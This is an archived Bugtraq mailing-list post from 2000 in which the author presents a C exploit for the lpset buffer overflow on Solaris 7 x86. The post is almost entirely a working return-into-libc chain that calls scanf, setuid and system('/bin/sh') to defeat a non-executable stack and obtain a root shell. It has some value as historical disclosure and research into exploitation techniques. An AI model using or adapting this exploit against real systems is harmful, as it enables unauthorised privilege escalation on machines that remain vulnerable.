20000506_Bugtraq.txt

Subject: non-exec stack
From: newsham () LAVA NET (Tim Newsham)
Date: Sat, 6 May 2000 17:06:28 -1000

Here's an overflow exploit that works on a non-exec stack on x86 boxes.
It demonstrates how it is possible to thread together several libc
calls.  I have not seen any other exploits for x86 that have done this..

for the lpset bug in sol7 x86.

                                          Tim N.

#define BASE 0xdff40000
#define STACK 0x8047e30
#define BUFSIZE 36

#define SYSTEM (BASE + 0x5b328)
#define SCANF  (BASE + 0x5ae80)
#define SETUID (BASE + 0x30873)
#define PERCD  (BASE + 0x83754)
#define BINSH  (BASE + 0x83654)
#define POP3   (SYSTEM + 610)
#define POP2   (SYSTEM + 611)
#define POP1   (SYSTEM + 612)

int
main()
{
    unsigned char expbuf[1024];
    char *env[1];
    int *p, i;

    memset(expbuf, 'a', BUFSIZE);
    p = (int *)(expbuf + BUFSIZE);

    *p++ = STACK;
    *p++ = SCANF + 1;
    *p++ = STACK + 6 * 4;
    *p++ = POP2;
    *p++ = PERCD;
    *p++ = STACK + 9 * 4;

    *p++ = STACK + 10 * 4;
    *p++ = SETUID;
    *p++ = POP1;
    *p++ = 0x33333333;
    *p++ = STACK + 15 * 4;

    *p++ = SYSTEM;
    *p++ = 0x33333333;
    *p++ = BINSH;
    *p = 0;

    env[0] = 0;
    execle("/bin/lpset", "/bin/lpset", "-n", "fns", "-r", expbuf, "123", 0,
           env);
    return 0;
}